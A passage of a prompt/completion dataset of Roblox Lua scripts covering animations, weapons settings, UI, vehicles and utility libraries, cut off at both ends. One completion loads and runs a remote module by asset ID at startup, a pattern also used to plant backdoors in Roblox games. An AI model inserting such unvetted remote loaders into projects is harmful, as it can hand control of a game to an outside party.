0\n\tlocal setAngles = false\n\n \tif (jumpAnimTime > 0) then\n \t\tjumpAnimTime = jumpAnimTime - deltaTime\n \tend\n\n\tif (pose == \"FreeFall\" and jumpAnimTime <= 0) then\n\t\tplayAnimation(\"fall\", fallTransitionTime, Humanoid)\n\telseif (pose == \"Seated\") then\n\t\tplayAnimation(\"sit\", 0.5, Humanoid)\n\t\treturn\n\telseif (pose == \"Running\") then\n\t\tplayAnimation(\"walk\", 0.1, Humanoid)\n\telseif (pose == \"Dead\" or pose == \"GettingUp\" or pose == \"FallingDown\" or pose == \"Seated\" or pose == \"PlatformStanding\") then\n\t\tstopAllAnimations()\n\t\tamplitude = 0.1\n\t\tfrequency = 1\n\t\tsetAngles = true\n\tend\n\n\t-- Tool Animation handling\n\tlocal tool = getTool()\n\tif tool then\n\t\n\t\tanimStringValueObject = getToolAnim(tool)\n\n\t\tif animStringValueObject then\n\t\t\ttoolAnim = animStringValueObject.Value\n\t\t\t-- message recieved, delete StringValue\n\t\t\tanimStringValueObject.Parent = nil\n\t\t\ttoolAnimTime = time + .3\n\t\tend\n\n\t\tif time > toolAnimTime then\n\t\t\ttoolAnimTime = 0\n\t\t\ttoolAnim = \"None\"\n\t\tend\n\n\t\tanimateTool()\t\t\n\telse\n\t\tstopToolAnimations()\n\t\ttoolAnim = \"None\"\n\t\ttoolAnimInstance = nil\n\t\ttoolAnimTime = 0\n\tend\nend\n"} +{"prompt": "-- Preload animations", "completion": "\nfunction playAnimation(animName, transitionTime, humanoid)\n\tlocal idleFromEmote = (animName == \"idle\" and emoteNames[currentAnim] ~= nil)\n\tif (animName ~= currentAnim and not idleFromEmote) then\t\t \n\t\t\n\t\tif (currentAnimTrack ~= nil) then\n\t\t\tcurrentAnimTrack:Stop(transitionTime)\n\t\t\tcurrentAnimTrack:Destroy()\n\t\tend\n\n\t\tcurrentAnimSpeed = 1.0\n\t\tlocal roll = math.random(1, animTable[animName].totalWeight) \n\t\tlocal origRoll = roll\n\t\tlocal idx = 1\n\t\twhile (roll > animTable[animName][idx].weight) do\n\t\t\troll = roll - animTable[animName][idx].weight\n\t\t\tidx = idx + 1\n\t\tend"} +{"prompt": "--returns the wielding player of this tool", "completion": "\nfunction getPlayer()\n\tlocal char = Tool.Parent\n\treturn game:GetService(\"Players\"):GetPlayerFromCharacter(Character)\nend\n\nfunction Toss(direction)\n\tlocal handlePos = Vector3.new(Tool.Handle.Position.X, 0, Tool.Handle.Position.Z)\n\tlocal spawnPos = Character.Head.Position\n\tspawnPos = spawnPos + (direction * 5)\n\tTool.Handle.Transparency = 1\n\n\tlocal Object = Tool.Handle:Clone()\n\tObject.Parent = workspace\n\tObject.Transparency = 0\n\tObject.CanCollide = true\n\tObject.Organizar.Server.Disabled = false\n\tObject.Interface.Enabled = true\n\n\tObject.CFrame = Tool.Handle.CFrame\n\tObject.Velocity = (direction*AttackVelocity) + Vector3.new(0,AttackVelocity/7.5,0)\n\tlocal rand = 11.25\n\tObject.RotVelocity = Vector3.new(math.random(-rand,rand),math.random(-rand,rand),math.random(-rand,rand))\n\tObject:SetNetworkOwner(getPlayer())\n\n\tlocal tag = Instance.new(\"ObjectValue\")\n\ttag.Value = getPlayer()\n\ttag.Name = \"creator\"\n\ttag.Parent = Object\n\tTool:Destroy()\nend\n\n\nscript.Parent.Power.OnServerEvent:Connect(function(player, Power)\n\tAttackVelocity = Power\nend)\n\nRemote.OnServerEvent:Connect(function(player, mousePosition)\n\tif not AttackAble then return end\n\tAttackAble = false\n\tif Humanoid and Humanoid.RigType == Enum.HumanoidRigType.R15 then\n\t\tRemote:FireClient(getPlayer(), \"PlayAnimation\", \"Animation\")\n\tend\n\tlocal targetPos = mousePosition.p\n\tlocal lookAt = (targetPos - Character.Head.Position).unit\n\tToss(lookAt)\n\tLeftDown = true\nend)\n\nfunction onLeftUp()\n\tLeftDown = false\nend\n\nTool.Equipped:Connect(function()\n\tCharacter = Tool.Parent\n\tHumanoid = Character:FindFirstChildOfClass(\"Humanoid\")\nend)\n\nTool.Unequipped:Connect(function()\n\tCharacter = nil\n\tHumanoid = nil\nend)\n"} +{"prompt": "--[[\n\tRepresents a tree of test results.\n\n\tEach node in the tree corresponds directly to a node in a corresponding\n\tTestPlan, accessible via the 'planNode' field.\n\n\tTestResults objects are produced by TestRunner using TestSession as state.\n]]", "completion": "\n\nlocal TestEnum = require(script.Parent.TestEnum)\n\nlocal STATUS_SYMBOLS = {\n\t[TestEnum.TestStatus.Success] = \"+\",\n\t[TestEnum.TestStatus.Failure] = \"-\",\n\t[TestEnum.TestStatus.Skipped] = \"~\",\n}\n\nlocal TestResults = {}\n\nTestResults.__index = TestResults\n"} +{"prompt": "--// Ammo Settings\t\t\t", "completion": "\n\tAmmo = 8;\n\tStoredAmmo = 8;\n\tMagCount = 10; -- If you want infinate ammo, set to math.huge EX. MagCount = math.huge;\n\tExplosiveAmmo = 0;\n\t"} +{"prompt": "-- initiate", "completion": "\n\nRunService:BindToRenderStep(\"Mouse\", 5, function(deltaTime)\n\tif MOUSE.Reticle ~= currentReticle then\n\t\tcurrentReticle\t= MOUSE.Reticle\n\t\tUpdateReticle()\n\tend\n\t\n\tscopeSpring:Update(deltaTime)\n\t\n\tif scope and aiming then\n\t\tlocal ratio\t= CAMERA.ViewportSize.Y / CAMERA.ViewportSize.X\n\t\tMOUSE_GUI.Position\t= UDim2.new(0.5 + scopeSpring.Position.X * 0.02 * ratio, 0, 0.5 + scopeSpring.Position.Y * 0.02, 0)\n\telse\n\t\tMOUSE_GUI.Position\t= UDim2.new(0.5, 0, 0.5, 0)\n\tend\n\t\n\tSCOPE_GUI.Position\t= MOUSE_GUI.Position\n\t\n\tlocal ignore\t= {EFFECTS}\n\tif PLAYER.Character then\n\t\ttable.insert(ignore, PLAYER.Character)\n\tend\n\t\n\tlocal h, pos\n\tlocal screenPos\t= MOUSE_GUI.AbsolutePosition + MOUSE_GUI.AbsoluteSize / 2\n\tlocal ray\t\t= CAMERA:ScreenPointToRay(screenPos.X, screenPos.Y, 0)\n\tlocal mouseRay\t= Ray.new(CAMERA.CFrame.p, ray.Direction * 1000)\n\t\n\tlocal finished\t= false\n\t\n\trepeat\n\t\th, pos\t= Workspace:FindPartOnRayWithIgnoreList(mouseRay, ignore)\n\t\t\n\t\tif h then\n\t\t\tif h.Parent:FindFirstChildOfClass(\"Humanoid\") then\n\t\t\t\tfinished\t= true\n\t\t\telseif h.Transparency >= 0.5 then\n\t\t\t\ttable.insert(ignore, h)\n\t\t\telse\n\t\t\t\tif h.CanCollide then\n\t\t\t\t\tfinished\t= true\n\t\t\t\telse\n\t\t\t\t\ttable.insert(ignore, h)\n\t\t\t\tend\n\t\t\tend\n\t\telse\n\t\t\tfinished\t= true\n\t\tend\n\tuntil finished\n\t\n\tMOUSE.ScreenPosition\t= screenPos\n\tMOUSE.WorldPosition\t\t= pos\nend)\n"} +{"prompt": "-- call animations when touch and touch ended", "completion": "\nlocal function onPartTouched(otherPart, screenGui)\n\tif(otherPart.Name == \"HumanoidRootPart\") then\n\t\tlocal frame = screenGui.Frame\n\t\tlocal fill = screenGui.Fill\n\t\tlocal title = screenGui.Title\n\t\tlocal body = screenGui.Body\n\t\tlocal plantFrame = screenGui[\"Plant Circle\"]\n\t\tlocal plant = screenGui[\"Plant Circle\"].Plant\n\t\t\n\t\tUITween.size(frame, frameMid, 0.25, 0, false)\n\t\tUITween.size(fill, frameMid, 0.25, 0, false)\n\n\t\tUITween.fadeText(body, 0, 0.25, 0.25)\n\t\tUITween.fadeText(title, 0, 0.25, 0.25)\n\t\tUITween.size(frame, frameEnd, 0.25, 0.25, false)\n\t\tUITween.fadeBackground(title, 0.6, 0.25, 0.25)\n\n\t\tUITween.fade(plant, 0, 0.25, 0.5)\n\t\tUITween.fade(plantFrame, 0, 0.25, 0.5)\n\t\tUITween.size(fill, fillEnd, 0.25, 0.5, false)\n\tend\nend\n\nlocal function onPartTouchedEnded(otherPart, screenGui)\n\tif(otherPart.Name == \"HumanoidRootPart\") then\n\t\tlocal frame = screenGui.Frame\n\t\tlocal fill = screenGui.Fill\n\t\tlocal title = screenGui.Title\n\t\tlocal body = screenGui.Body\n\t\tlocal plantFrame = screenGui[\"Plant Circle\"]\n\t\tlocal plant = screenGui[\"Plant Circle\"].Plant\n\n\t\tUITween.fadeText(body, 1, 0.25, 0)\n\t\tUITween.fadeText(title, 1, 0.25, 0)\n\t\tUITween.fadeBackground(title, 1, 0.25, 0)\n\t\tUITween.fade(plant, 1, 0.25, 0)\n\t\tUITween.fade(plantFrame, 1, 0.25, 0)\n\t\tUITween.size(frame, frameMid, 0.25, 0, false)\n\t\tUITween.size(fill, frameMid, 0.25, 0, false)\n\t\tUITween.size(frame, frameStart, 0.25, 0, false)\n\t\tUITween.size(fill, frameStart, 0.25, 0, false)\n\tend\nend\n\n\nfunction InteractFact.Init(model)\n\tlocal part = model.ScreenTouchPart\n\tlocal screenGui = model.PlantScreen.SurfaceGui\n\t\n\t-- default sizes\n\tscreenGui.Body.TextTransparency = 1\n\tscreenGui.Title.BackgroundTransparency = 1\n\tscreenGui.Title.TextTransparency = 1\n\tscreenGui.Frame.Size = frameStart\n\tscreenGui.Fill.Size = frameStart\n\tscreenGui[\"Plant Circle\"].ImageTransparency = 1\n\tscreenGui[\"Plant Circle\"].Plant.ImageTransparency = 1\t\n\t\n\t-- add listeners, that will call a generic function passing specific screenGui\n\tpart.Touched:Connect(function(otherPart)onPartTouched(otherPart, screenGui) end)\n\tpart.TouchEnded:Connect(function(otherPart) onPartTouchedEnded(otherPart, screenGui) end)\nend\n\nreturn InteractFact\n"} +{"prompt": "--------------------------------", "completion": "\n\nlocal text\n\nEvent.OnClientEvent:Connect(function()\n\tgame.Lighting.Blur.Enabled = true\n\tscript.Parent.Frame.Visible = true\n\tPopSound:Play()\nend)\n\nEditBox.FocusLost:Connect(function(enterPressed)\n\tif enterPressed then\n\t\ttext = tostring(EditBox.Text)\n\tend\nend)\n\nSubmitButton.Activated:Connect(function()\n\ttext = tostring(EditBox.Text)\n\tif text ~= nil and text ~= \"\" and text ~= \" \" and string.len(text) < 150 then\n\t\tEvent:FireServer(text)\n\n\t\tgame.Lighting.Blur.Enabled = false\n\t\tscript.Parent.Frame.Visible = false\n\t\tNotification:FireServer(\"Successfully Edited Stand!\")\n\tend\nend)\n\nCancelButton.Activated:Connect(function()\n\tgame.Lighting.Blur.Enabled = false\n\tscript.Parent.Frame.Visible = false\n\tCancelSound:Play()\nend)\n\n\nUnclaimButton.Activated:Connect(function()\n\tgame.ReplicatedStorage.Events.Unclaim:FireServer(player)\n\tgame.Lighting.Blur.Enabled = false\n\tscript.Parent.Frame.Visible = false\n\tNotification:FireServer(\"Successfully Unclaimed Stand!\")\nend)\n\nRefreshButton.Activated:Connect(function()\n\tgame.ReplicatedStorage.Events.Refresh:FireServer(player, Booth)\n\tgame.Lighting.Blur.Enabled = false\n\tscript.Parent.Frame.Visible = false\n\tNotification:FireServer(\"Successfully Refreshed Stand!\")\nend)\n\nlocal ReplicatedStorage = game:GetService(\"ReplicatedStorage\")\nlocal EventsFolder = ReplicatedStorage:FindFirstChild(\"Events\")\n\nlocal EditPromptEvent = EventsFolder:FindFirstChild(\"EditPlot\")\n\n\nEditPromptEvent.OnClientEvent:Connect(function(plot, value)\n\tif value == true then\n\t\tBooth = plot\n\t\tworkspace.Stands[plot].Proximity.Attachment.EditPrompt.Enabled = true\n\t\tEditPrompt = workspace.Stands[plot].Proximity.Attachment.EditPrompt\n\t\tworkspace.Stands[plot].Part.BillboardGui.Enabled = true\n\telse\n\t\tworkspace.Stands[plot].Proximity.Attachment.EditPrompt.Enabled = false\n\t\tEditPrompt = nil\n\t\tworkspace.Stands[plot].Part.BillboardGui.Enabled = false\n\tend\nend)\n"} +{"prompt": "-- RANK, RANK NAMES & SPECIFIC USERS", "completion": "\nRanks = {\n\t{5,\t\"Owner\",\t\t};\n\t{4,\t\"HeadAdmin\",\t{\"\",0},\t};\n\t{3,\t\"Admin\",\t\t{\"\",0},\t};\n\t{2,\t\"Mod\",\t\t\t{\"\",0},\t};\n\t{1,\t\"VIP\",\t\t\t{\"\",0},\t};\n\t{0,\t\"NonAdmin\",\t\t};\n};\n\n\n"} +{"prompt": "--/ Initialization /--", "completion": "\nrequire(3472854229).start(script,config)\n"} +{"prompt": "--[[\n\tAn object to represent runtime errors that occur during execution.\n\tPromises that experience an error like this will be rejected with\n\tan instance of this object.\n]]", "completion": "\nlocal Error do\n\tError = {\n\t\tKind = makeEnum(\"Promise.Error.Kind\", {\n\t\t\t\"ExecutionError\",\n\t\t\t\"AlreadyCancelled\",\n\t\t\t\"NotResolvedInTime\",\n\t\t\t\"TimedOut\",\n\t\t}),\n\t}\n\tError.__index = Error\n\n\tfunction Error.new(options, parent)\n\t\toptions = options or {}\n\t\treturn setmetatable({\n\t\t\terror = tostring(options.error) or \"[This error has no error text.]\",\n\t\t\ttrace = options.trace,\n\t\t\tcontext = options.context,\n\t\t\tkind = options.kind,\n\t\t\tparent = parent,\n\t\t\tcreatedTick = os.clock(),\n\t\t\tcreatedTrace = debug.traceback(),\n\t\t}, Error)\n\tend\n\n\tfunction Error.is(anything)\n\t\tif type(anything) == \"table\" then\n\t\t\tlocal metatable = getmetatable(anything)\n\n\t\t\tif type(metatable) == \"table\" then\n\t\t\t\treturn rawget(anything, \"error\") ~= nil and type(rawget(metatable, \"extend\")) == \"function\"\n\t\t\tend\n\t\tend\n\n\t\treturn false\n\tend\n\n\tfunction Error.isKind(anything, kind)\n\t\tassert(kind ~= nil, \"Argument #2 to Promise.Error.isKind must not be nil\")\n\n\t\treturn Error.is(anything) and anything.kind == kind\n\tend\n\n\tfunction Error:extend(options)\n\t\toptions = options or {}\n\n\t\toptions.kind = options.kind or self.kind\n\n\t\treturn Error.new(options, self)\n\tend\n\n\tfunction Error:getErrorChain()\n\t\tlocal runtimeErrors = { self }\n\n\t\twhile runtimeErrors[#runtimeErrors].parent do\n\t\t\ttable.insert(runtimeErrors, runtimeErrors[#runtimeErrors].parent)\n\t\tend\n\n\t\treturn runtimeErrors\n\tend\n\n\tfunction Error:__tostring()\n\t\tlocal errorStrings = {\n\t\t\tstring.format(\"-- Promise.Error(%s) --\", self.kind or \"?\"),\n\t\t}\n\n\t\tfor _, runtimeError in ipairs(self:getErrorChain()) do\n\t\t\ttable.insert(errorStrings, table.concat({\n\t\t\t\truntimeError.trace or runtimeError.error,\n\t\t\t\truntimeError.context,\n\t\t\t}, \"\\n\"))\n\t\tend\n\n\t\treturn table.concat(errorStrings, \"\\n\")\n\tend\nend\n"} +{"prompt": "--the Inportain Calculating what has to be Updated and Value Update", "completion": "\nminigun.total = minigun.left + minigun.right\nvParts.Values.Minigun.Value = minigun.total\nvParts.Values.Hydra.Value = hydra.right + hydra.left\nvParts.Values.On.Value = on"} +{"prompt": "--\t\tprint(\"Keyframe : \".. frameName)", "completion": "\n\t\tlocal repeatAnim = stopAllAnimations()\n\t\tlocal animSpeed = currentAnimSpeed\n\t\tplayAnimation(repeatAnim, 0.0, Humanoid)\n\t\tsetAnimationSpeed(animSpeed)\n\tend\nend\n"} +{"prompt": "--[[Driver Handling]]", "completion": "\n\n\t--Driver Sit\t\n\tcar.TruckSeat.ChildAdded:connect(function(child)\n\t\tif child.Name==\"SeatWeld\" and child:IsA(\"Weld\") and game.Players:GetPlayerFromCharacter(child.Part1.Parent)~=nil then\n\t\t\t--Distribute Client Interface\n\t\t\tlocal p=game.Players:GetPlayerFromCharacter(child.Part1.Parent)\n\t\t\tcar.TruckSeat:SetNetworkOwner(p)\n\t\t\tlocal g=script.Parent[\"A-Chassis Interface\"]:Clone()\n\t\t\tg.Parent=p.PlayerGui\n\t\tend\n\tend)\n\t\n\t--Driver Leave\n\tcar.TruckSeat.ChildRemoved:connect(function(child)\n\t\tif child.Name==\"SeatWeld\" and child:IsA(\"Weld\") then\n\t\t\t--Remove Flip Force\n\t\t\tif car.TruckSeat:FindFirstChild(\"Flip\")~=nil then\n\t\t\t\tcar.TruckSeat.Flip.MaxTorque = Vector3.new()\n\t\t\tend\n\t\t\t\n\t\t\t--Remove Wheel Force\n\t\t\tfor i,v in pairs(car.Wheels:GetChildren()) do\n\t\t\t\tif v:FindFirstChild(\"#AV\")~=nil then\n\t\t\t\t\tif v[\"#AV\"]:IsA(\"BodyAngularVelocity\") then\n\t\t\t\t\t\tif v[\"#AV\"].AngularVelocity.Magnitude>0 then\n\t\t\t\t\t\t\tv[\"#AV\"].AngularVelocity = Vector3.new()\n\t\t\t\t\t\t\tv[\"#AV\"].MaxTorque = Vector3.new()\n\t\t\t\t\t\tend\n\t\t\t\t\telse\n\t\t\t\t\t\tif v[\"#AV\"].AngularVelocity>0 then\n\t\t\t\t\t\t\tv[\"#AV\"].AngularVelocity = 0\n\t\t\t\t\t\t\tv[\"#AV\"].MotorMaxTorque = 0\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend)\n\t"} +{"prompt": "----///Variables///", "completion": "\nlocal VehicleRemotes = game.ReplicatedStorage.VehicleRemotes\n\n"} +{"prompt": "-- Customization", "completion": "\n\tAntiTK = false; -- Set to false to allow TK and damaging of NPC, true for no TK. (To damage NPC, this needs to be false)\n\t\n\tMouseSense = 0.5;\n\n\tCanAim = true; -- Allows player to aim\n\tCanBolt = true; -- When shooting, if this is enabled, the bolt will move (SCAR-L, ACR, AK Series)\n\t\n\tLaserAttached = true;\n\tLightAttached = true;\n\tTracerEnabled = true;\n\t\n\tSprintSpeed = 20;\n\t\n\tCanCallout = true;\n\tSuppressCalloutChance = 10;\n"} +{"prompt": "-- Weeping Angel Project\n-- Settings", "completion": "\n\nlocal Target = \"\";\nlocal GlobalLook = true;\nlocal RapidTeleportCooldown = 20;\n"} +{"prompt": "-- Temporary hack until ScreenGui.DisplayOrder is released.", "completion": "\nfunction methods:GetFocusedState()\n\tlocal focusedState = {\n\t\tFocused = self.TextBox:IsFocused(),\n\t\tText = self.TextBox.Text\n\t}\n\tself.LastFocusedState = focusedState\n\treturn focusedState\nend\n\nfunction methods:RestoreFocusedState(focusedState)\n\tself.TextBox.Text = focusedState.Text\n\tif focusedState.Focused then\n\t\tself.TextBox:CaptureFocus()\n\tend\nend\n\nfunction methods:FadeOutBackground(duration)\n\tself.AnimParams.Background_TargetTransparency = 1\n\tself.AnimParams.Background_NormalizedExptValue = CurveUtil:NormalizedDefaultExptValueInSeconds(duration)\n\tself:FadeOutText(duration)\nend\n\nfunction methods:FadeInBackground(duration)\n\tself.AnimParams.Background_TargetTransparency = 0.6\n\tself.AnimParams.Background_NormalizedExptValue = CurveUtil:NormalizedDefaultExptValueInSeconds(duration)\n\tself:FadeInText(duration)\nend\n\nfunction methods:FadeOutText(duration)\n\tself.AnimParams.Text_TargetTransparency = 1\n\tself.AnimParams.Text_NormalizedExptValue = CurveUtil:NormalizedDefaultExptValueInSeconds(duration)\nend\n\nfunction methods:FadeInText(duration)\n\tself.AnimParams.Text_TargetTransparency = 0.4\n\tself.AnimParams.Text_NormalizedExptValue = CurveUtil:NormalizedDefaultExptValueInSeconds(duration)\nend\n\nfunction methods:AnimGuiObjects()\n\tself.GuiObject.BackgroundTransparency = self.AnimParams.Background_CurrentTransparency\n\tself.GuiObjects.TextBoxFrame.BackgroundTransparency = self.AnimParams.Background_CurrentTransparency\n\n\tself.GuiObjects.TextLabel.TextTransparency = self.AnimParams.Text_CurrentTransparency\n\tself.GuiObjects.TextBox.TextTransparency = self.AnimParams.Text_CurrentTransparency\n\tself.GuiObjects.MessageModeTextButton.TextTransparency = self.AnimParams.Text_CurrentTransparency\nend\n\nfunction methods:InitializeAnimParams()\n\tself.AnimParams.Text_TargetTransparency = 0.4\n\tself.AnimParams.Text_CurrentTransparency = 0.4\n\tself.AnimParams.Text_NormalizedExptValue = 1\n\n\tself.AnimParams.Background_TargetTransparency = 0.6\n\tself.AnimParams.Background_CurrentTransparency = 0.6\n\tself.AnimParams.Background_NormalizedExptValue = 1\nend\n\nfunction methods:Update(dtScale)\n\tself.AnimParams.Text_CurrentTransparency = CurveUtil:Expt(\n\t\t\tself.AnimParams.Text_CurrentTransparency,\n\t\t\tself.AnimParams.Text_TargetTransparency,\n\t\t\tself.AnimParams.Text_NormalizedExptValue,\n\t\t\tdtScale\n\t)\n\tself.AnimParams.Background_CurrentTransparency = CurveUtil:Expt(\n\t\t\tself.AnimParams.Background_CurrentTransparency,\n\t\t\tself.AnimParams.Background_TargetTransparency,\n\t\t\tself.AnimParams.Background_NormalizedExptValue,\n\t\t\tdtScale\n\t)\n\n\tself:AnimGuiObjects()\nend\n\nfunction methods:SetChannelNameColor(channelName, channelNameColor)\n\tself.ChannelNameColors[channelName] = channelNameColor\n\tif self.GuiObjects.MessageModeTextButton.Text == channelName then\n\t\tself.GuiObjects.MessageModeTextButton.TextColor3 = channelNameColor\n\tend\nend\n\nfunction methods:GetChannelNameColor(channelName)\n\treturn self.ChannelNameColors[channelName]\nend\n"} +{"prompt": "--Main function", "completion": "\nlocal function AttachAuraControl(source_part, eff_cont) --(source_part, effect_container)\n\t\n\tlocal AnimObj\n\n\tlocal function Start()\n\t\tAnimObj = {}\n\t\t\n\tend\n\t\n\tlocal function Update()\n\n\tend\n\t\n\tlocal function Stop()\n\t\tAnimObj = nil\n\tend\n\t\n\treturn {Start = Start, Update = Update, Stop = Stop}\nend\n\nreturn AttachAuraControl\n"} +{"prompt": "--\t\tif not self.movingThread then\n--\t\t\tself.movingThread = coroutine.create(\n--\t\t\t\tfunction()\n--\t\t\t\t\tUpdatePoints:FireServer(1)\n--\t\t\t\t\trepeat\n--\t\t\t\t\t\twait(4/humanoid.WalkSpeed)\n--\t\t\t\t\t\tUpdatePoints:FireServer(1)\n--\t\t\t\t\tuntil not self.isPlayerMoving\n--\t\t\t\t\tself.movingThread = nil\n--\t\t\t\tend)\n--\t\t\tcoroutine.resume(self.movingThread)\n--\t\tend", "completion": "\n\telse\n\t\tself.queuedToContinueMoving = true\n\tend\nend\n\nfunction WaypointController:StopTracking()\n\tself.isPlayerMoving = false\n\t\n\tif self.queuedToContinueMoving then\n\t\tself.queuedToContinueMoving = false\n\t\t\n\t\tself:TrackPlayer()\n\telse\n\t\tself.waypointPath:Stop() \n\t\tself.movingThread = nil \n\tend\nend\n"} +{"prompt": "--[[ DOCUMENTATION\n- Will work in tools. If ran more than once it will not create more than one weld. This is especially useful for tools that are dropped and then picked up again.\n- Will work in PBS servers\n- Will work as long as it starts out with the part anchored\n- Stores the relative CFrame as a CFrame value\n- Takes careful measure to reduce lag by not having a joint set off or affected by the parts offset from origin\n- Utilizes a recursive algorith to find all parts in the model\n- Will reweld on script reparent if the script is initially parented to a tool.\n- Welds as fast as possible\n]]", "completion": "\n"} +{"prompt": "--------------------------------------------------------------- CHECK PLATFORM BELOW", "completion": "\n\nlocal RootPart = player.Character.Torso\n\nlocal Ignore = player.Character\n\nlocal ray = Ray.new(RootPart.CFrame.p,Vector3.new(0,-50,0))\n\nlocal Hit, Position, Normal, Material = workspace:FindPartOnRay(ray,Ignore)\n\nif Hit and Hit.Name == \"Body\" then -- Change \"RaftTop\" to whatever the moving part's name is\n"} +{"prompt": "-- Camera Shaker\n-- Stephen Leitnick\n-- February 26, 2018", "completion": "\n"} +{"prompt": "----- SEATS -----", "completion": "\n\nfor _, v in pairs(seats) do\n\tv.ChildAdded:Connect(function(obj) -- added\n\t\tif obj.Name == \"SeatWeld\" then\n\t\t\tlocal player = game.Players:GetPlayerFromCharacter(obj.Part1.Parent)\n\t\t\tif player then\n\t\t\t\ttable.insert(occupants, obj.Part1.Parent)\n\t\t\tend\n\t\tend\n\tend)\n\tv.ChildRemoved:Connect(function(obj) -- removed\n\t\tif obj.Name == \"SeatWeld\" then\n\t\t\tlocal player = game.Players:GetPlayerFromCharacter(obj.Part1.Parent)\n\t\t\tif player then\n\t\t\t\tfor i, occupant in pairs(occupants) do\n\t\t\t\t\tif occupant == player then\n\t\t\t\t\t\ttable.remove(occupants, i)\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend)\nend\n\n"} +{"prompt": "-- Tool's current status", "completion": "\nlocal ToolStatus = Tool:WaitForChild(\"ToolStatus\")\nlocal SpawnedSegway = ToolStatus:WaitForChild(\"SpawnedSegway\")\nlocal HasSpawnedSegway = ToolStatus:WaitForChild(\"HasSpawnedSegway\")\nlocal IsCoolingDown = false\n"} +{"prompt": "--// Firemode Shot Customization", "completion": "\n\tBurstNum = 3; -- How many bullets per burst\n\tShotNum = 8; -- How many bullets per shot\n\t"} +{"prompt": "--Made by Stickmasterluke", "completion": "\n\n\nlocal sp=script.Parent\n\noriginalgrip=CFrame.new(.15,-2,0)*CFrame.Angles(0,math.pi/2,0)\ncurrentgrip=originalgrip\n\nenabled=true\ntaunting=false\n\nfunction waitfor(parent,name)\n\twhile true do\n\t\tlocal child=parent:FindFirstChild(name)\n\t\tif child~=nil then\n\t\t\treturn child\n\t\tend\n\t\twait()\n\tend\nend\n\nwaitfor(sp,\"Handle\")\n\nfunction onButton1Down(mouse)\n\tif not enabled then\n\t\treturn\n\tend\n\tenabled=false\n\tmouse.Icon=\"rbxasset://textures\\\\GunWaitCursor.png\"\n\twait(.75)\n\tmouse.Icon=\"rbxasset://textures\\\\GunCursor.png\"\n\tenabled=true\nend\n\nfunction swordUp()\n\tcurrentgrip=originalgrip\nend\n\nfunction swordOut()\n\tcurrentgrip=originalgrip*CFrame.Angles(math.pi/4,.4,0)\nend\n\nfunction spinsword(spintime)\n\tdelay(0,function()\n\t\tlocal startspin=tick()\n\t\tlocal endspin=startspin+spintime\n\t\twhile tick()0 then\n\t\t\ttheanim:Play()\n\t\t\tif sp.RunAnim.Value==\"RightSlash\" or sp.RunAnim.Value==\"LeftSlash\" or sp.RunAnim.Value==\"OverHeadSwing\" then\n\t\t\t\tspinsword(.5)\n\t\t\tend\n\t\t\tif sp.RunAnim.Value==\"OverHeadSwing\" then\n\t\t\t\twait(.25)\n\t\t\t\tswordOut()\n\t\t\t\twait(.5)\n\t\t\t\tswordUp()\n\t\t\t\tsp.Grip=currentgrip\n\t\t\telseif sp.RunAnim.Value==\"OverHeadSwingFast\" then\n\t\t\t\twait(.125)\n\t\t\t\tswordOut()\n\t\t\t\twait(.25)\n\t\t\t\tswordUp()\n\t\t\t\tsp.Grip=currentgrip\n\t\t\tend\n\t\tend\n\tend\nend)\n"} +{"prompt": "--- Returns Maid[key] if not part of Maid metatable\n-- @return Maid[key] value", "completion": "\nfunction Maid:__index(index)\n\tif Maid[index] then\n\t\treturn Maid[index]\n\telse\n\t\treturn self._tasks[index]\n\tend\nend\n"} +{"prompt": "-- local Madwork = _G.Madwork\n--[[\n{Madwork}\n\n-[ReplicaController]---------------------------------------\n\t(STANDALONE VERSION)\n\tLua table replication achieved through write function wrapping\n\t\n\tLISTENER WARNING: Making listeners disconnect their own script connections may result in other listeners\n\t\tbeing skipped. Fix pending.\n\t\n\tWARNING: Replica update listeners are not cleaned up automatically (e.g. when their value's parent table is set to nil)\n\t\tunless the replica is destroyed. Either split one god replica into several replicas or carefully manage listeners\n\t\twith :Disconnect() to prevent memory leaks. Does not apply to destroyed replicas.\n\t\n\tNotice: Replicas are destroyed client-side when the server stops replicating the replica to the client or the\n\t\tserver destroys the replica completely. This means that the exact replica that was previously destroyed\n\t\tclient-side could be created again client-side (as a new object, though).\n\t\t\n\tReplica replication guarantees:\n\t\t- When the client receives first data, replica references received will have all nested replicas\n\t\t\talready loaded and accessible through Replica.Children;\n\t\t- When the client receives first data or receives selective replication of a top level replica,\n\t\t\t.NewReplicaSignal and .ReplicaOfClassCreated() will be fired for all replicas in the order\n\t\t\tthey were created server-side from earliest to latest;\n\t\n\tMembers:\n\t\n\t\tReplicaController.NewReplicaSignal [ScriptSignal](Replica) -- Fired every time an replica is created client-side\n\t\tReplicaController.InitialDataReceivedSignal [ScriptSignal]() -- Fired once after the client finishes receiving initial replica data from server\n\t\tReplicaController.InitialDataReceived [bool] -- Set to true after the client finishes receiving initial replica data from server\n\t\n\tFunctions:\n\t\n\t\tReplicaController.RequestData() -- Requests the server to start sending replica data\n\t\t\n\t\tReplicaController.ReplicaOfClassCreated(replica_class, listener) --> [ScriptConnection] listener(replica)\n\t\t\n\t\tReplicaController.GetReplicaById(replica_id) --> replica / nil\n\t\t\n\tMembers [Replica]:\n\t\n\t\tReplica.Data [table] (Read only) Table which is replicated\n\t\t\n\t\tReplica.Id [number] Unique identifier\n\t\tReplica.Class [string] Primary Replica identifier\n\t\tReplica.Tags [table] Secondary Replica identifiers\n\t\t\n\t\tReplica.Parent [Replica] or nil\n\t\tReplica.Children [table]: {replica, ...}\n\t\t\n\tMethods [Replica]:\n\t\t\n\t-- Dictionary update listening: (listener functions can't yield)\n\t\tReplica:ListenToChange(path, listener) --> [ScriptConnection] (new_value, old_value)\n\t\tReplica:ListenToNewKey(path, listener) --> [ScriptConnection] (new_value, new_key)\n\t\t\n\t\t* Notice: When Replica:SetValues(path, values) is used server-side, Replica:ListenToChange() and Replica:ListenToNewKey()\n\t\t\twill only be invoked with changes to the top level keys in the \"values\" argument passed.\n\t\t\n\t-- (Numeric) Array update listening:\n\t\tReplica:ListenToArrayInsert(path, listener) --> [ScriptConnection] (new_index, new_value)\n\t\tReplica:ListenToArraySet(path, listener) --> [ScriptConnection] (index, new_value)\n\t\tReplica:ListenToArrayRemove(path, listener) --> [ScriptConnection] (old_index, old_value)\n\t\t\n\t-- Write function listening:\n\t\tReplica:ListenToWrite(function_name, listener) --> [ScriptConnection] (params...)\n\t\t\n\t\t* Parameter 